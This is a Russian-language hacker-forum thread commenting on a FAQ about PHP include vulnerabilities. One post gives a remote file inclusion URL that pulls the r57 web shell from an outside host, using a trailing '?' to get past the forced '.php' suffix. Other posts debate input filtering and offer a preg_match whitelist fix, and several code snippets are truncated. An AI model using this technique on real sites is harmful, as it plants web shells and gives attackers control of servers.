![]() |
Комментарии к FAQ PHP Including
Почему-то тема (http://forum.antichat.ru/thread18368.html) оказалась закрытой. Предположительно, это вызванно желанием не засорять ее чужими комментами. Потому предлогаю обсудить ее здесь.
Лично мне хотелось бы высказать свое уважение автору, указать ему на одну несущественную ошибку и немного дополнить FAQ. Ошибка находится здесь: Код:
<?Я бы написал так: Код:
<?1) относительно 0-байтов. Очень часто этот символ фильтруется если и не скриптом, то самим апачем. Потому имеет смысл обращатся к бажному скрипту Код:
<?http://site.com/include.php?page=http://rst.void.ru/download/r57shell.txt? В результате скрипт попытается инклудить http://rst.void.ru/download/r57shell.txt?.php, то есть ".php" превратится в параметр в http-запросе и не станет нам мешать. 2) относительно фильтрации наиболее выгодно использовать функцию ereg(). например: Код:
<?phpНу вот я и высказался, надеюсь мои слова не будут восприняты как упрек, но зато будут восприняты, как желание дополнить материал. |
Тема закрыта была, для того чтобы не засорять её. уже получил 2 материала по дополнению, всё будет дополнено и исправлено. всем спасибо
|
свои комменты скинул коту в личку. А насчет твоих... Что-то мне слабо верится что обработка строки регулярными выражениями более эффективно, чем просто отброс лишних сиволов обычным str_replace() ;)
|
Trinux
Ты о том, сколько ресурсов тратится? Я х3. Но могу сказать, что обработка php-сценариев в целом вобще ресурсоемкая задача и насколько она сравнима с ereg() я не в состоянии ответить. |
Все равно str_replace работает быстрее рег выражения в php
будь то ereg,preg_match и т.д. |
Тем не менее мое мнение - все равно, даже если на str_replace тратится 0.01 секунды, а на ereg() 0.1, то нам с вами нет до этого никакого дела )
|
Цитата:
|
Цитата:
А обработка php не столь ресурсоемкий процесс, если грамотно повесить php на сервак. Кстати, знает кто-нить разницу между ereg() и preg_match()? =)) |
Код:
if (!empty($_GET['go']) && preg_match("#^[a-z0-9_]{2,20}$#", $_GET['go']) && file_exists("modules/".$_GET['go']."/index.php")) { |
Юзаем этот код и все ок - include баг уже не прокатит. Кто не согласен - отписываемся, открываем мне глаза :)))
|
| Время: 23:13 |